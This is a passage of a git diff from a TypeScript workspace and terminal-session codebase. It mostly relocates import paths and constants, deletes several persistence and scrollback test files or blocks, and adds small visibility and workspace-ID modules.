b/src/shared/workspace-layout/persistence/workspace-layout-legacy-persistence.test.ts deleted file mode 100644 index 82c995842c6..00000000000 --- a/src/shared/workspace-layout/persistence/workspace-layout-legacy-persistence.test.ts +++ /dev/null @@ -1,54 +0,0 @@ -import { describe, expect, it } from 'vitest' -import { LOCAL_EXECUTION_HOST_ID } from '../../execution-host' -import { updateLegacyPersistence } from './workspace-layout-legacy-persistence' -import { loadWorkspaceLayout } from './workspace-layout-load' -import type { WorkspaceLayout, WorkspaceLayoutModel } from '../workspace-layout-model' -import { emptyLayoutBeside } from '../invariants/workspace-layout-model-rules' -import { localDesktopSession } from './workspace-layout-profile.test-fixture' -import { saveWorkspaceLayout } from './workspace-layout-save' -import { FOLDER_KEY, GIT_KEY, leaf } from './workspace-layout-session.test-fixture' - -function loaded(): WorkspaceLayoutModel { - return loadWorkspaceLayout(LOCAL_EXECUTION_HOST_ID, localDesktopSession(), { - mintId: () => 'minted', - mintLeafId: () => leaf(9) - }).layout -} - -function edit( - before: WorkspaceLayoutModel, - key: string, - change: (workspace: WorkspaceLayout) => WorkspaceLayout -): WorkspaceLayoutModel { - return { ...before, workspaces: { ...before.workspaces, [key]: change(before.workspaces[key]!) } } -} - -const withoutTab = (tabId: string) => (workspace: WorkspaceLayout) => ({ - ...workspace, - tabs: workspace.tabs.filter((tab) => tab.id !== tabId), - groups: workspace.groups - .map((group) => ({ ...group, tabOrder: group.tabOrder.filter((id) => id !== tabId) })) - .filter((group) => group.tabOrder.length > 0) -}) - -describe('updateLegacyPersistence: the one update after each apply', () => { - it('keeps a workspace the owner of its rows after its last terminal closes', () => { - const before = loaded() - const after = updateLegacyPersistence(before, edit(before, FOLDER_KEY, withoutTab('tab-notes'))) - expect(after.legacy.terminalRowOwners[FOLDER_KEY]).toBe(true) - const saved = saveWorkspaceLayout({ ...emptyLayoutBeside(), layout: after }) - expect(saved.tabsByWorktree[FOLDER_KEY]).toEqual([]) - }) - - it('makes a workspace the owner once it holds a terminal, and drops a removed one', () => { - const before = loaded() - delete before.legacy.terminalRowOwners[FOLDER_KEY] - const touched = edit(before, FOLDER_KEY, (workspace) => ({ ...workspace })) - expect(updateLegacyPersistence(before, touched).legacy.terminalRowOwners[FOLDER_KEY]).toBe(true) - const removed = { ...before, workspaces: { [GIT_KEY]: before.workspaces[GIT_KEY]! } } - const next = updateLegacyPersistence(loaded(), removed) - expect(Object.keys(next.legacy.terminalRowOwners)).toEqual([GIT_KEY]) - // Panes leaving with their workspace advance nothing. - expect(next.legacy.topologyRevisionByRepoId).toEqual({ 'repo-1': 7 }) - }) -}) diff --git a/src/shared/workspace-layout/persistence/workspace-layout-load-normalization.test.ts b/src/shared/workspace-layout/persistence/workspace-layout-load-normalization.test.ts index c1efd74b01d..16f91c5212e 100644 --- a/src/shared/workspace-layout/persistence/workspace-layout-load-normalization.test.ts +++ b/src/shared/workspace-layout/persistence/workspace-layout-load-normalization.test.ts @@ -1,7 +1,7 @@ // Exercise each legacy Loader normalization; fields outside its rule must survive unchanged. import { describe, expect, it } from 'vitest' -import { LOCAL_EXECUTION_HOST_ID, type ExecutionHostId } from '../../execution-host' +import { LOCAL_EXECUTION_HOST_ID, type ExecutionHostId } from '../../execution-host/execution-host' import type { WorkspaceSessionState } from '../../workspace-session/workspace-session-state-types' import { loadWorkspaceLayout } from './workspace-layout-load' import '../invariants/workspace-layout-model-rules' diff --git a/src/shared/workspace-layout/persistence/workspace-layout-load-types.ts b/src/shared/workspace-layout/persistence/workspace-layout-load-types.ts index 248aa2aa58b..7d6a3f5444e 100644 --- a/src/shared/workspace-layout/persistence/workspace-layout-load-types.ts +++ b/src/shared/workspace-layout/persistence/workspace-layout-load-types.ts @@ -1,4 +1,4 @@ -import type { ExecutionHostId } from '../../execution-host' +import type { ExecutionHostId } from '../../execution-host/execution-host' import type { TerminalLayoutSnapshot } from '../terminal-tab-types' import type { WorkspaceSessionState } from '../../workspace-session/workspace-session-state-types' import type { diff --git a/src/shared/workspace-layout/persistence/workspace-layout-load-view-less-tabs.test.ts b/src/shared/workspace-layout/persistence/workspace-layout-load-view-less-tabs.test.ts index 6923a8c894f..55502517134 100644 --- a/src/shared/workspace-layout/persistence/workspace-layout-load-view-less-tabs.test.ts +++ b/src/shared/workspace-layout/persistence/workspace-layout-load-view-less-tabs.test.ts @@ -1,10 +1,10 @@ // Main’s load must match restoresSavedContentTab so its layout never retains a transient tab no window can draw (L286). import { describe, expect, it, vi } from 'vitest' -import { LOCAL_EXECUTION_HOST_ID } from '../../execution-host' +import { LOCAL_EXECUTION_HOST_ID } from '../../execution-host/execution-host' import type { Tab, TabContentType } from '../tab-groups/tab-types' import type { WorkspaceSessionState } from '../../workspace-session/workspace-session-state-types' -import { getDefaultWorkspaceSession } from '../../constants' +import { getDefaultWorkspaceSession } from '../../orca-profiles/constants' import '../old-client/old-client-method-translation' import { loadWorkspaceLayout } from './workspace-layout-load' import { nameBasedLoadContext } from './workspace-layout-minted-ids' diff --git a/src/shared/workspace-layout/persistence/workspace-layout-load.ts b/src/shared/workspace-layout/persistence/workspace-layout-load.ts index 8c80e109986..3e1b8a200ed 100644 --- a/src/shared/workspace-layout/persistence/workspace-layout-load.ts +++ b/src/shared/workspace-layout/persistence/workspace-layout-load.ts @@ -1,6 +1,6 @@ // Load one session partition after Store pane-identity normalization. Reapply fixed precedence on every load because older builds may rewrite the documents; do not merge disagreements. -import type { ExecutionHostId } from '../../execution-host' +import type { ExecutionHostId } from '../../execution-host/execution-host' import type { TerminalLayoutSnapshot } from '../terminal-tab-types' import type { WorkspaceSessionState } from '../../workspace-session/workspace-session-state-types' import { diff --git a/src/shared/workspace-layout/persistence/workspace-layout-profile.test-fixture.ts b/src/shared/workspace-layout/persistence/workspace-layout-profile.test-fixture.ts index 40b09f8f786..ab5a9377d6a 100644 --- a/src/shared/workspace-layout/persistence/workspace-layout-profile.test-fixture.ts +++ b/src/shared/workspace-layout/persistence/workspace-layout-profile.test-fixture.ts @@ -1,13 +1,13 @@ // Real-shaped stored partitions: the desktop's own, a relay-fallback SSH host's, a remote server's. import type { SleepingAgentSessionRecord } from '../../agent-session/lifecycle/agent-session-resume' -import { FLOATING_TERMINAL_WORKTREE_ID } from '../../constants' +import { FLOATING_TERMINAL_WORKTREE_ID } from '../../workspace/identity/floating-workspace-id' import { LOCAL_EXECUTION_HOST_ID, toRuntimeExecutionHostId, toSshExecutionHostId, type ExecutionHostId -} from '../../execution-host' +} from '../../execution-host/execution-host' import { toRemoteRuntimePtyId } from '../../remote-runtime/remote-runtime-pty-id' import { toAppSshPtyId } from '../../remote-runtime/ssh/ssh-pty-id' import type { WorkspaceSessionState } from '../../workspace-session/workspace-session-state-types' diff --git a/src/shared/workspace-layout/persistence/workspace-layout-round-trip-check.ts b/src/shared/workspace-layout/persistence/workspace-layout-round-trip-check.ts index b5862d7501d..83f0d495fd6 100644 --- a/src/shared/workspace-layout/persistence/workspace-layout-round-trip-check.ts +++ b/src/shared/workspace-layout/persistence/workspace-layout-round-trip-check.ts @@ -1,6 +1,6 @@ // Check load/save idempotence: a second load must change nothing. Known first-load kinds are broad; return per-kind counts for logging so new normalizations remain visible. -import type { ExecutionHostId } from '../../execution-host' +import type { ExecutionHostId } from '../../execution-host/execution-host' import type { WorkspaceSessionState } from '../../workspace-session/workspace-session-state-types' import { loadWorkspaceLayout } from './workspace-layout-load' import { nameBasedLoadContext } from './workspace-layout-minted-ids' diff --git a/src/shared/workspace-layout/persistence/workspace-layout-save-tabs.ts b/src/shared/workspace-layout/persistence/workspace-layout-save-tabs.ts index bc08fe1ac7d..b165d812b35 100644 --- a/src/shared/workspace-layout/persistence/workspace-layout-save-tabs.ts +++ b/src/shared/workspace-layout/persistence/workspace-layout-save-tabs.ts @@ -1,6 +1,6 @@ // Derive legacy terminal rows, tab-bar entries and all order fields from the canonical layout order. -import type { ExecutionHostId } from '../../execution-host' +import type { ExecutionHostId } from '../../execution-host/execution-host' import type { Tab } from '../tab-groups/tab-types' import type { TerminalLayoutSnapshot, TerminalTab } from '../terminal-tab-types' import { pickStoredFields } from './stored-record-fields' diff --git a/src/shared/workspace-layout/persistence/workspace-layout-session.test-fixture.ts b/src/shared/workspace-layout/persistence/workspace-layout-session.test-fixture.ts index a7a832b877e..2a174811e2c 100644 --- a/src/shared/workspace-layout/persistence/workspace-layout-session.test-fixture.ts +++ b/src/shared/workspace-layout/persistence/workspace-layout-session.test-fixture.ts @@ -1,7 +1,7 @@ // Window-shaped session partitions for Loader/Serializer round trips: terminal row, tab-bar entry, pane layout and order fields agree. -import { getDefaultWorkspaceSession } from '../../constants' -import { LOCAL_EXECUTION_HOST_ID, type ExecutionHostId } from '../../execution-host' +import { getDefaultWorkspaceSession } from '../../orca-profiles/constants' +import { LOCAL_EXECUTION_HOST_ID, type ExecutionHostId } from '../../execution-host/execution-host' import type { Tab, TabGroup } from '../tab-groups/tab-types' import type { TerminalLayoutSnapshot, diff --git a/src/shared/workspace-layout/published-layout/workspace-layout-from-published.ts b/src/shared/workspace-layout/published-layout/workspace-layout-from-published.ts index a76461d64c4..8410d15df8e 100644 --- a/src/shared/workspace-layout/published-layout/workspace-layout-from-published.ts +++ b/src/shared/workspace-layout/published-layout/workspace-layout-from-published.ts @@ -13,7 +13,7 @@ import type { PublishedTerminal, PublishedWorkspaceLayout } from './workspace-layout-published' -import type { ExecutionHostId } from '../../execution-host' +import type { ExecutionHostId } from '../../execution-host/execution-host' function layoutTab(tab: PublishedTab): LayoutTab { const fields = { diff --git a/src/shared/workspace-layout/published-layout/workspace-layout-published.ts b/src/shared/workspace-layout/published-layout/workspace-layout-published.ts index c27db236718..e991995442b 100644 --- a/src/shared/workspace-layout/published-layout/workspace-layout-published.ts +++ b/src/shared/workspace-layout/published-layout/workspace-layout-published.ts @@ -2,7 +2,7 @@ import type { AgentType } from '../../agent-status/contracts/agent-status-types' import type { AiVaultSessionTitle } from '../../ai-vault/contracts/ai-vault-session-title' -import type { ExecutionHostId } from '../../execution-host' +import type { ExecutionHostId } from '../../execution-host/execution-host' import type { TabContentType, TabGroupLayoutNode } from '../tab-groups/tab-types' import type { TerminalPaneLayoutNode } from '../terminal-tab-types' import { pickStoredFields } from '../persistence/stored-record-fields' diff --git a/src/shared/workspace-layout/published-layout/workspace-layout-records.test.ts b/src/shared/workspace-layout/published-layout/workspace-layout-records.test.ts deleted file mode 100644 index 245a447b68a..00000000000 --- a/src/shared/workspace-layout/published-layout/workspace-layout-records.test.ts +++ /dev/null @@ -1,95 +0,0 @@ -import { describe, expect, it } from 'vitest' -import { LOCAL_EXECUTION_HOST_ID } from '../../execution-host' -import { loadWorkspaceLayoutWithoutReport } from '../persistence/workspace-layout-load' -import '../persistence/workspace-layout-load-report' -import { nameBasedLoadContext } from '../persistence/workspace-layout-minted-ids' -import { localDesktopSession } from '../persistence/workspace-layout-profile.test-fixture' -import { publishWorkspaceLayout, type PublishedWorkspaceLayout } from './workspace-layout-published' -import { - applyWorkspaceLayoutRecordChange, - diffPublishedLayouts, - indexPublishedLayout -} from './workspace-layout-records' -import { GIT_KEY } from '../persistence/workspace-layout-session.test-fixture' -import { ownedEditorFileId } from '../../workspace-session/workspace-session-pane-ownership' - -function published(): PublishedWorkspaceLayout { - const { layout } = loadWorkspaceLayoutWithoutReport( - LOCAL_EXECUTION_HOST_ID, - localDesktopSession(), - nameBasedLoadContext() - ) - return publishWorkspaceLayout(layout.workspaces[GIT_KEY]!, LOCAL_EXECUTION_HOST_ID) -} - -const diff = (before: PublishedWorkspaceLayout, after: PublishedWorkspaceLayout) => - diffPublishedLayouts(GIT_KEY, indexPublishedLayout(before), indexPublishedLayout(after), after) - -function edited(edit: (layout: PublishedWorkspaceLayout) => void) { - const before = published() - const after = structuredClone(before) - edit(after) - const change = diff(before, after)! - const applied = applyWorkspaceLayoutRecordChange(before, change) - return { change, before, after, applied } -} - -describe('a published layout as records', () => { - it('sends a layout whose records repeat a key whole', () => { - const before = published() - const after = structuredClone(before) - after.browserTabs = [...after.browserTabs, { ...after.browserTabs[0]!, label: 'other' }] - expect(indexPublishedLayout(after)).toBeNull() - expect(diff(before, after)).toEqual({ key: GIT_KEY, change: 'layout', layout: after }) - }) - - it("applies a layout-owner host's editor file order in a reader built without the switch", () => { - const before = published() - before.editorFiles = [{ filePath: '/repo/a.ts', relativePath: 'a.ts', language: 'typescript' }] - const opened = { - filePath: '/repo/b.ts', - relativePath: 'b.ts', - language: 'typescript', - runtimeEnvironmentId: 'env-1' - } - // Keys as the host derives them from each record; the reader's build must not change them. - const order = [ - ownedEditorFileId('/repo/a.ts', '', undefined), - ownedEditorFileId('/repo/b.ts', '', 'env-1') - ] - const applied = applyWorkspaceLayoutRecordChange(before, { - key: GIT_KEY, - change: 'records', - editorFiles: { set: [opened], order } - }) - expect(applied?.editorFiles).toEqual([...before.editorFiles, opened]) - }) - - it("keys two hosts' files at one path apart, so opening one sends only its record", () => { - const before = published() - const local = { filePath: '/repo/a.ts', relativePath: 'a.ts', language: 'typescript' } - before.editorFiles = [local] - const after = structuredClone(before) - after.editorFiles = [local, { ...local, runtimeEnvironmentId: 'env-1' }] - const change = diff(before, after) - expect(change).toMatchObject({ - change: 'records', - editorFiles: { set: [after.editorFiles[1]] } - }) - expect(applyWorkspaceLayoutRecordChange(before, change!)).toEqual(after) - }) - - it('refuses a change that does not fit what the reader holds', () => { - const { change } = edited((layout) => { - layout.tabs[0]!.customTitle = 'renamed' - }) - expect(() => applyWorkspaceLayoutRecordChange(undefined, change)).toThrow('unknown workspace') - expect(() => - applyWorkspaceLayoutRecordChange(published(), { - key: GIT_KEY, - change: 'records', - tabs: { order: ['tab-shell', 'missing'] } - }) - ).toThrow(/missing/) - }) -}) diff --git a/src/shared/workspace-layout/tab-groups/tab-types.ts b/src/shared/workspace-layout/tab-groups/tab-types.ts index 003e423f02d..e3fb14bd958 100644 --- a/src/shared/workspace-layout/tab-groups/tab-types.ts +++ b/src/shared/workspace-layout/tab-groups/tab-types.ts @@ -1,6 +1,6 @@ import type { AiVaultSessionTitle } from '../../ai-vault/contracts/ai-vault-session-title' import type { AgentType } from '../../agent-status/contracts/agent-status-types' -import type { ExecutionHostId } from '../../execution-host' +import type { ExecutionHostId } from '../../execution-host/execution-host' export type TabGroupSplitDirection = 'horizontal' | 'vertical' diff --git a/src/shared/workspace-layout/terminal-surfaces/terminal-pane-reveal.ts b/src/shared/workspace-layout/terminal-surfaces/terminal-pane-reveal.ts index 8bb1d7938b1..ed2b0a0252f 100644 --- a/src/shared/workspace-layout/terminal-surfaces/terminal-pane-reveal.ts +++ b/src/shared/workspace-layout/terminal-surfaces/terminal-pane-reveal.ts @@ -1,4 +1,4 @@ -import type { ExecutionHostId } from '../../execution-host' +import type { ExecutionHostId } from '../../execution-host/execution-host' /** Use stable pane IDs: paired-server handles exist only on that server. */ export type TerminalPaneRevealTarget = { diff --git a/src/shared/workspace-layout/terminal-surfaces/terminal-tab-close.ts b/src/shared/workspace-layout/terminal-surfaces/terminal-tab-close.ts index f8cb965d89d..40ad4395aa9 100644 --- a/src/shared/workspace-layout/terminal-surfaces/terminal-tab-close.ts +++ b/src/shared/workspace-layout/terminal-surfaces/terminal-tab-close.ts @@ -1,4 +1,4 @@ -import type { ExecutionHostId } from '../../execution-host' +import type { ExecutionHostId } from '../../execution-host/execution-host' import type { WorkspaceSessionState } from '../../workspace-session/workspace-session-state-types' import type { TerminalPaneLayoutNode } from '../terminal-tab-types' diff --git a/src/shared/workspace-layout/terminal-topology/terminal-owner-invariants.test.ts b/src/shared/workspace-layout/terminal-topology/terminal-owner-invariants.test.ts index 3baa1c679a2..6c4f91a8a4e 100644 --- a/src/shared/workspace-layout/terminal-topology/terminal-owner-invariants.test.ts +++ b/src/shared/workspace-layout/terminal-topology/terminal-owner-invariants.test.ts @@ -1,6 +1,6 @@ import { describe, expect, it } from 'vitest' -import { getDefaultWorkspaceSession } from '../../constants' -import type { ExecutionHostId } from '../../execution-host' +import { getDefaultWorkspaceSession } from '../../orca-profiles/constants' +import type { ExecutionHostId } from '../../execution-host/execution-host' import type { WorkspaceSessionState } from '../../workspace-session/workspace-session-state-types' import { TEST_LEAF_1, TEST_LEAF_2 } from '../../../main/persistence/persistence-session-fixtures' import { findTerminalBindingConflict } from './terminal-owner-invariants' diff --git a/src/shared/workspace-layout/terminal-topology/terminal-owner-invariants.ts b/src/shared/workspace-layout/terminal-topology/terminal-owner-invariants.ts index 517a81361ca..ea0ea7dcba0 100644 --- a/src/shared/workspace-layout/terminal-topology/terminal-owner-invariants.ts +++ b/src/shared/workspace-layout/terminal-topology/terminal-owner-invariants.ts @@ -1,4 +1,4 @@ -import { parseExecutionHostId, type ExecutionHostId } from '../../execution-host' +import { parseExecutionHostId, type ExecutionHostId } from '../../execution-host/execution-host' import { parseAppSshPtyId } from '../../remote-runtime/ssh/ssh-pty-id' import { isTerminalLeafId } from '../stable-pane-id' import type { TerminalTab } from '../terminal-tab-types' diff --git a/src/shared/workspace-layout/workspace-layout-model.ts b/src/shared/workspace-layout/workspace-layout-model.ts index 29ae8e81ab6..1420a8a2a16 100644 --- a/src/shared/workspace-layout/workspace-layout-model.ts +++ b/src/shared/workspace-layout/workspace-layout-model.ts @@ -6,7 +6,7 @@ import type { AiVaultSessionTitle } from '../ai-vault/contracts/ai-vault-session import type { PersistedClientHostedBrowserPage } from '../workspace-session/client-hosted-browser-page-record' import type { ClosedTerminalPanesByPaneKey } from './terminal-surfaces/closed-terminal-panes' import type { ClosedTerminalTabTombstone } from './terminal-surfaces/closed-terminal-tab-tombstones' -import type { ExecutionHostId } from '../execution-host' +import type { ExecutionHostId } from '../execution-host/execution-host' import type { TabContentType, TabGroupLayoutNode } from './tab-groups/tab-types' import type { TerminalGrid, TerminalPaneLayoutNode, TerminalTab } from './terminal-tab-types' import type { PersistedOpenFile } from '../workspace-session/workspace-session-state-types' diff --git a/src/shared/workspace-session/workspace-session-contested-primary-host.ts b/src/shared/workspace-session/workspace-session-contested-primary-host.ts index c80f8c2bdad..99c86877c36 100644 --- a/src/shared/workspace-session/workspace-session-contested-primary-host.ts +++ b/src/shared/workspace-session/workspace-session-contested-primary-host.ts @@ -2,7 +2,7 @@ import { LOCAL_EXECUTION_HOST_ID, parseExecutionHostId, type ExecutionHostId -} from '../execution-host' +} from '../execution-host/execution-host' import { workspaceSessionPartitionHostId } from './workspace-session-partition-owner' export function sessionPartitionHostFor(hostId: ExecutionHostId): ExecutionHostId { diff --git a/src/shared/workspace-session/workspace-session-partition-owner.ts b/src/shared/workspace-session/workspace-session-partition-owner.ts index fd28768c3d8..21e8ed71735 100644 --- a/src/shared/workspace-session/workspace-session-partition-owner.ts +++ b/src/shared/workspace-session/workspace-session-partition-owner.ts @@ -2,7 +2,7 @@ import { LOCAL_EXECUTION_HOST_ID, parseExecutionHostId, type ExecutionHostId -} from '../execution-host' +} from '../execution-host/execution-host' /** SSH and runtime hosts own their own partitions; local owns legacy workspaceSession. * Earlier builds split SSH rows between local and ssh:, turning unread rows into replace-session deletions (#12723, #12721, #18173). Adopt stranded rows on read and return them to their owner on write. */ diff --git a/src/shared/workspace-session/workspace-session-schema.ts b/src/shared/workspace-session/workspace-session-schema.ts index 457fac29a1b..30912200956 100644 --- a/src/shared/workspace-session/workspace-session-schema.ts +++ b/src/shared/workspace-session/workspace-session-schema.ts @@ -12,7 +12,7 @@ import type { TuiAgent } from '../agent-launch/catalog/tui-agent' import type { WorkspaceSessionState } from './workspace-session-state-types' import { terminalTabIdSchema } from '../workspace-layout/terminal-surfaces/terminal-tab-id-schema' import { terminalSurfaceTombstoneSchema } from '../workspace-layout/terminal-surfaces/terminal-surface-tombstone-schema' -import { parseExecutionHostId, type ExecutionHostId } from '../execution-host' +import { parseExecutionHostId, type ExecutionHostId } from '../execution-host/execution-host' import { isTuiAgent } from '../agent-launch/catalog/tui-agent-config' import { type WorkspaceKey, isWorkspaceKey } from '../workspace/identity/workspace-scope' import { diff --git a/src/shared/workspace-session/workspace-session-state-types.ts b/src/shared/workspace-session/workspace-session-state-types.ts index e2f6708929d..890733dd4f3 100644 --- a/src/shared/workspace-session/workspace-session-state-types.ts +++ b/src/shared/workspace-session/workspace-session-state-types.ts @@ -1,4 +1,4 @@ -import type { ExecutionHostId } from '../execution-host' +import type { ExecutionHostId } from '../execution-host/execution-host' import type { SleepingAgentSessionRecord } from '../agent-session/lifecycle/agent-session-resume' import type { WorkspaceKey } from '../workspace/identity/workspace-scope' import type { diff --git a/src/shared/workspace-session/workspace-session-terminal-buffers.test.ts b/src/shared/workspace-session/workspace-session-terminal-buffers.test.ts index 37c3b144ef6..e188409ba36 100644 --- a/src/shared/workspace-session/workspace-session-terminal-buffers.test.ts +++ b/src/shared/workspace-session/workspace-session-terminal-buffers.test.ts @@ -1,10 +1,10 @@ import { describe, expect, it } from 'vitest' -import { FLOATING_TERMINAL_WORKTREE_ID, getDefaultWorkspaceSession } from '../constants' +import { FLOATING_TERMINAL_WORKTREE_ID } from '../workspace/identity/floating-workspace-id' +import { getDefaultWorkspaceSession } from '../orca-profiles/constants' import type { WorkspaceSessionState } from './workspace-session-state-types' -import { TERMINAL_SCROLLBACK_SESSION_BUFFER_BYTE_LIMIT } from '../terminal/replay/terminal-scrollback-limits' +import '../terminal/replay/terminal-scrollback-limits' import { - TERMINAL_SCROLLBACK_SESSION_HOMES, pruneLocalTerminalScrollbackBuffers, shouldPreserveTerminalScrollbackBuffers } from './workspace-session-terminal-buffers' @@ -263,54 +263,4 @@ describe('pruneLocalTerminalScrollbackBuffers', () => { }) // Exercise every persisted home independently; silently omitting one defeats the cap. - describe.each(TERMINAL_SCROLLBACK_SESSION_HOMES)('scrollback home %s', (home) => { - const hugeScrollback = `start-${'x'.repeat(TERMINAL_SCROLLBACK_SESSION_BUFFER_BYTE_LIMIT + 10)}` - const sessionWithHome = (tabId: string, buffer: string): WorkspaceSessionState => - home === 'terminalLayoutsByTabId' - ? makeSession({ - terminalLayoutsByTabId: { - [tabId]: { - root: null, - activeLeafId: null, - expandedLeafId: null, - buffersByLeafId: { 'pane:1': buffer } - } - } - }) - : makeSession({ - terminalLayoutsByTabId: {}, - localOnlyScrollbackByTabId: { [tabId]: { 'pane:1': buffer } } - }) - const readBack = (session: WorkspaceSessionState, tabId: string): string | undefined => - home === 'terminalLayoutsByTabId' - ? session.terminalLayoutsByTabId[tabId]?.buffersByLeafId?.['pane:1'] - : session.localOnlyScrollbackByTabId?.[tabId]?.['pane:1'] - - it('caps a preserved SSH buffer at the session byte limit', () => { - const result = pruneLocalTerminalScrollbackBuffers( - sessionWithHome('remote-tab', hugeScrollback), - [{ id: 'remote-repo', connectionId: 'ssh-target-1' }] - ) - - const buffer = readBack(result, 'remote-tab') - expect(buffer).toHaveLength(TERMINAL_SCROLLBACK_SESSION_BUFFER_BYTE_LIMIT) - expect(buffer?.startsWith('start-')).toBe(false) - }) - - it('drops a local worktree buffer outright', () => { - const result = pruneLocalTerminalScrollbackBuffers(sessionWithHome('local-tab', 'bytes'), [ - { id: 'local-repo', connectionId: null } - ]) - - expect(readBack(result, 'local-tab')).toBeUndefined() - }) - - it('drops an orphaned tab buffer', () => { - const result = pruneLocalTerminalScrollbackBuffers(sessionWithHome('orphan-tab', 'bytes'), [ - { id: 'remote-repo', connectionId: 'ssh-target-1' } - ]) - - expect(readBack(result, 'orphan-tab')).toBeUndefined() - }) - }) }) diff --git a/src/shared/workspace-session/workspace-session-terminal-buffers.ts b/src/shared/workspace-session/workspace-session-terminal-buffers.ts index 0ca611e2d03..d1673db93f8 100644 --- a/src/shared/workspace-session/workspace-session-terminal-buffers.ts +++ b/src/shared/workspace-session/workspace-session-terminal-buffers.ts @@ -1,10 +1,10 @@ import type { Repo } from '../repository/repo-types' import type { WorkspaceSessionState } from './workspace-session-state-types' -import { FLOATING_TERMINAL_WORKTREE_ID } from '../constants' +import { FLOATING_TERMINAL_WORKTREE_ID } from '../workspace/identity/floating-workspace-id' import { getRepoIdFromWorktreeId } from '../worktree/id' import { TERMINAL_SCROLLBACK_SESSION_BUFFER_BYTE_LIMIT } from '../terminal/replay/terminal-scrollback-limits' import { clampUtf8TextTail, isUtf8ByteLengthWithinLimit } from '../text/utf8-byte-limits' -import { parseExecutionHostId } from '../execution-host' +import { parseExecutionHostId } from '../execution-host/execution-host' import { ownRetainedString } from '../text/own-retained-string' export type RepoConnection = Pick diff --git a/src/shared/workspace-session/workspace-session-terminal-tab-close.test.ts b/src/shared/workspace-session/workspace-session-terminal-tab-close.test.ts index cb452ee7780..f769aace852 100644 --- a/src/shared/workspace-session/workspace-session-terminal-tab-close.test.ts +++ b/src/shared/workspace-session/workspace-session-terminal-tab-close.test.ts @@ -1,5 +1,5 @@ import { describe, expect, it } from 'vitest' -import { getDefaultWorkspaceSession } from '../constants' +import { getDefaultWorkspaceSession } from '../orca-profiles/constants' import type { Tab } from '../workspace-layout/tab-groups/tab-types' import type { TerminalTab } from '../workspace-layout/terminal-tab-types' import type { WorkspaceSessionState } from './workspace-session-state-types' @@ -194,16 +194,6 @@ describe('closeTerminalTabInWorkspaceSession', () => { expect(result.session.activeWorktreeId).toBe(WORKTREE_ID) }) - it('rejects pinned tabs without mutating the session', () => { - const current = session({ - tabsByWorktree: { [WORKTREE_ID]: [terminalTab('terminal-1', 'pty-left', true)] } - }) - - const result = closeTerminalTabInWorkspaceSession(current, WORKTREE_ID, 'terminal-1') - - expect(result).toEqual({ session: current, ptyIdsToKill: [], closed: false, pinned: true }) - }) - it('preserves first-occurrence neighbor semantics for duplicate legacy order entries', () => { const initial = session() initial.tabGroups![WORKTREE_ID][0].tabOrder = ['a', 'terminal-1', 'a', 'b'] diff --git a/src/shared/workspace-setup/hooks/workspace-hook-owner.ts b/src/shared/workspace-setup/hooks/workspace-hook-owner.ts index ceedb8a9911..82efd62e0cc 100644 --- a/src/shared/workspace-setup/hooks/workspace-hook-owner.ts +++ b/src/shared/workspace-setup/hooks/workspace-hook-owner.ts @@ -1,6 +1,9 @@ import type { ProjectGroup } from '../../project/groups/project-group-types' import type { Repo } from '../../repository/repo-types' -import { getRepoExecutionHostId, normalizeExecutionHostId } from '../../execution-host' +import { + getRepoExecutionHostId, + normalizeExecutionHostId +} from '../../execution-host/execution-host' export type WorkspaceHookOwner = Pick< Repo, diff --git a/src/shared/workspace-view/sleeping-workspace-visibility.ts b/src/shared/workspace-view/sleeping-workspace-visibility.ts new file mode 100644 index 00000000000..b9332f09c75 --- /dev/null +++ b/src/shared/workspace-view/sleeping-workspace-visibility.ts @@ -0,0 +1,3 @@ +export const DEFAULT_SHOW_SLEEPING_WORKSPACES = true + +export const DEFAULT_HIDE_SLEEPING_WORKSPACES = false diff --git a/src/shared/workspace-view/workspace-host-visibility.ts b/src/shared/workspace-view/workspace-host-visibility.ts index 02c66e952a2..6bc5b341a81 100644 --- a/src/shared/workspace-view/workspace-host-visibility.ts +++ b/src/shared/workspace-view/workspace-host-visibility.ts @@ -3,7 +3,7 @@ import { normalizeVisibleExecutionHostIds, type ExecutionHostId, type ExecutionHostScope -} from '../execution-host' +} from '../execution-host/execution-host' import { expandEquivalentExecutionHostIds, pickerExecutionHosts, diff --git a/src/shared/workspace-view/workspace-row-filters.ts b/src/shared/workspace-view/workspace-row-filters.ts index ed71cf60b41..6a876035c66 100644 --- a/src/shared/workspace-view/workspace-row-filters.ts +++ b/src/shared/workspace-view/workspace-row-filters.ts @@ -1,5 +1,5 @@ -import type { ExecutionHostId } from '../execution-host' -import type { PersistedUIState } from '../persisted-ui-state-types' +import type { ExecutionHostId } from '../execution-host/execution-host' +import type { PersistedUIState } from '../orca-profiles/persisted-ui-state-types' import { isHiddenByKindSwitch, type WorkspaceKind, diff --git a/src/shared/workspace-view/workspace-row-sort.ts b/src/shared/workspace-view/workspace-row-sort.ts index b2bcc93e3aa..c4503ec9ca8 100644 --- a/src/shared/workspace-view/workspace-row-sort.ts +++ b/src/shared/workspace-view/workspace-row-sort.ts @@ -1,4 +1,4 @@ -import type { PersistedUIState } from '../persisted-ui-state-types' +import type { PersistedUIState } from '../orca-profiles/persisted-ui-state-types' import { compareCodePoints, createSidebarTextComparator } from '../sidebar-list/sorting/text-order' export type WorkspaceSortBy = PersistedUIState['sortBy'] diff --git a/src/shared/workspace-view/workspace-view-options.ts b/src/shared/workspace-view/workspace-view-options.ts index 128b4d2ef28..34775cf29a9 100644 --- a/src/shared/workspace-view/workspace-view-options.ts +++ b/src/shared/workspace-view/workspace-view-options.ts @@ -1,9 +1,9 @@ -import type { PersistedUIState } from '../persisted-ui-state-types' +import type { PersistedUIState } from '../orca-profiles/persisted-ui-state-types' import type { AgentActivityDisplayMode, ProjectOrderBy, WorktreeCardProperty -} from '../ui-chrome-types' +} from '../ui-chrome/ui-chrome-types' // Every surface renders an exhaustive option-key table. Desktop localizes these English labels; tests check parity. diff --git a/src/shared/workspace-view/workspace-view-ui-fields.ts b/src/shared/workspace-view/workspace-view-ui-fields.ts index 605b8f19561..a723091d934 100644 --- a/src/shared/workspace-view/workspace-view-ui-fields.ts +++ b/src/shared/workspace-view/workspace-view-ui-fields.ts @@ -1,4 +1,4 @@ -import type { PersistedUIState } from '../persisted-ui-state-types' +import type { PersistedUIState } from '../orca-profiles/persisted-ui-state-types' import { WORKSPACE_ROW_FILTER_UI_FIELDS } from './workspace-row-filters' /** The non-filter UI state a host's own phone mirrors through ui.get/ui.set. */ diff --git a/src/shared/workspace/identity/floating-workspace-id.ts b/src/shared/workspace/identity/floating-workspace-id.ts new file mode 100644 index 00000000000..bfd64ea3c02 --- /dev/null +++ b/src/shared/workspace/identity/floating-workspace-id.ts @@ -0,0 +1,2 @@ +// Why: 